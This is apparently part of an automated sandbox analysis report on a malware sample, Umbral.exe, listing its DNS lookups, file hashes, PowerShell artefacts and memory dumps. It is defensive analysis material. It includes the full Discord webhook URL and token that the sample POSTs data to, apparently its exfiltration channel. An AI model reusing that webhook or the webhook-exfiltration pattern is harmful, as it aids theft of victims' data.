      GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid=

      HTTP Response

      204

      HTTP Request

      GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid=

      HTTP Response

      204
    • 162.159.128.233:443
      https://discord.com/api/webhooks/1354174093003329598/RcMwCs1pKWptqNfuG-bnbpQYHfvzrhYHkp-JQyQL19RLBiyUZN0PzH5agHDx098fepIw
      tls, http
      Umbral.exe
      444.3kB
      10.6kB
      340
      78

      HTTP Request

      POST https://discord.com/api/webhooks/1354174093003329598/RcMwCs1pKWptqNfuG-bnbpQYHfvzrhYHkp-JQyQL19RLBiyUZN0PzH5agHDx098fepIw

      HTTP Response

      204

      HTTP Request

      POST https://discord.com/api/webhooks/1354174093003329598/RcMwCs1pKWptqNfuG-bnbpQYHfvzrhYHkp-JQyQL19RLBiyUZN0PzH5agHDx098fepIw

      HTTP Response

      200
    • 150.171.27.10:443
      tse1.mm.bing.net
      tls, http2
      1.4kB
      7.4kB
      18
      13
    • 150.171.27.10:443
      tse1.mm.bing.net
      tls, http2
      1.4kB
      7.4kB
      18
      13
    • 150.171.27.10:443
      https://tse1.mm.bing.net/th?id=OADD2.10239339388162_1MFS3CT3ZOVTF7TJA&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
      tls, http2
      152.8kB
      4.4MB
      3218
      3208

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239360526659_1DEB5NSYP58G2E8T3&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239360433542_1UJC4903W7XNIUU73&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239339388161_17PDPNJBHCJYF0MEC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239360433543_1F4HJPO10Z3VYH0SK&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239360526658_1O3WYEZK6VX7G9BK6&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

      HTTP Response

      200

      HTTP Response

      200

      HTTP Response

      200

      HTTP Response

      200

      HTTP Response

      200

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239339388162_1MFS3CT3ZOVTF7TJA&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

      HTTP Response

      200
    • 150.171.27.10:443
      tse1.mm.bing.net
      tls, http2
      1.4kB
      7.4kB
      18
      13
    • 150.171.27.10:443
      tse1.mm.bing.net
      tls, http2
      1.4kB
      7.4kB
      18
      13
    • 142.250.179.227:80
      http://c.pki.goog/r/r1.crl
      http
      476 B
      394 B
      6
      4

      HTTP Request

      GET http://c.pki.goog/r/r1.crl

      HTTP Response

      304
    • 8.8.8.8:53
      gstatic.com
      dns
      Umbral.exe
      57 B
      73 B
      1
      1

      DNS Request

      gstatic.com

      DNS Response

      142.250.187.227

    • 8.8.8.8:53
      ip-api.com
      dns
      Umbral.exe
      56 B
      72 B
      1
      1

      DNS Request

      ip-api.com

      DNS Response

      208.95.112.1

    • 8.8.8.8:53
      g.bing.com
      dns
      56 B
      148 B
      1
      1

      DNS Request

      g.bing.com

      DNS Response

      150.171.27.10
      150.171.28.10

    • 8.8.8.8:53
      discord.com
      dns
      Umbral.exe
      57 B
      137 B
      1
      1

      DNS Request

      discord.com

      DNS Response

      162.159.128.233
      162.159.138.232
      162.159.135.232
      162.159.136.232
      162.159.137.232

    • 8.8.8.8:53
      tse1.mm.bing.net
      dns
      62 B
      170 B
      1
      1

      DNS Request

      tse1.mm.bing.net

      DNS Response

      150.171.27.10
      150.171.28.10

    • 8.8.8.8:53
      c.pki.goog
      dns
      56 B
      107 B
      1
      1

      DNS Request

      c.pki.goog

      DNS Response

      142.250.179.227

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      efa4168b73a5e8ae56d49bcac4d67861

      SHA1

      b3fe6b2d9fc05ad7892a2c8b96914764336b3067

      SHA256

      7aab157fba3a543647a38cc8729ffb962a58cc2093d94566c9e68ff73d134dca

      SHA512

      a1f305eac9c73c951f22e76f3904c1c6bb518b12d8a74bbea544c845f3d592e7915ec47d6531a3a4e669f6ab12311f3a632ff47a68f36370111d1c82cf8b6e99

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      c65738617888921a153bd9b1ef516ee7

      SHA1

      5245e71ea3c181d76320c857b639272ac9e079b1

      SHA256

      4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

      SHA512

      2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      276798eeb29a49dc6e199768bc9c2e71

      SHA1

      5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

      SHA256

      cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

      SHA512

      0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      d8a781a8d47e148c742681deaa63ac8d

      SHA1

      49594c22cc6183605b96b715a0c00c1bf1bbb468

      SHA256

      994622f9d048bce32fd23dec62a532b965883a169722f36ce72a639e29b8303c

      SHA512

      f32989be9a903764c4ed3b8ab4e61a677ca4d37031200530164d192c25c269143cb127a73380ea0d88ac81f1a3a7c141d77fbd74c211c9d969bf2af9202e7fbe

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_chfmu3n4.qtf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4004-70-0x000001821EF70000-0x000001821EF7A000-memory.dmp

      Filesize

      40KB

    • memory/4004-34-0x000001821EE60000-0x000001821EE7E000-memory.dmp

      Filesize

      120KB

    • memory/4004-90-0x00007FF9B00B0000-0x00007FF9B0B71000-memory.dmp

      Filesize

      10.8MB

    • memory/4004-89-0x000001821F040000-0x000001821F1E9000-memory.dmp

      Filesize

      1.7MB

    • memory/4004-2-0x00007FF9B00B0000-0x00007FF9B0B71000-memory.dmp

      Filesize

      10.8MB

    • memory/4004-32-0x000001821EEE0000-0x000001821EF56000-memory.dmp

      Filesize

      472KB

    • memory/4004-33-0x000001821EE90000-0x000001821EEE0000-memory.dmp

      Filesize

      320KB

    • memory/4004-71-0x000001821EFA0000-0x000001821EFB2000-memory.dmp

      Filesize

      72KB

    • memory/4004-1-0x00000182047C0000-0x0000018204800000-memory.dmp

      Filesize

      256KB

    • memory/4004-0-0x00007FF9B00B3000-0x00007FF9B00B5000-memory.dmp

      Filesize

      8KB

    • memory/6060-14-0x00007FF9B00B0000-0x00007FF9B0B71000-memory.dmp

      Filesize

      10.8MB

    • memory/6060-15-0x00007FF9B00B0000-0x00007FF9B0B71000-memory.dmp

      Filesize

      10.8MB

    • memory/6060-13-0x00007FF9B00B0000-0x00007FF9B0B71000-memory.dmp

      Filesize

      10.8MB

    • memory/6060-12-0x000001EB78F20000-0x000001EB78F42000-memory.dmp

      Filesize

      136KB

    • memory/6060-18-0x00007FF9B00B0000-0x00007FF9B0B71000-memory.dmp

      Filesize

      10.8MB

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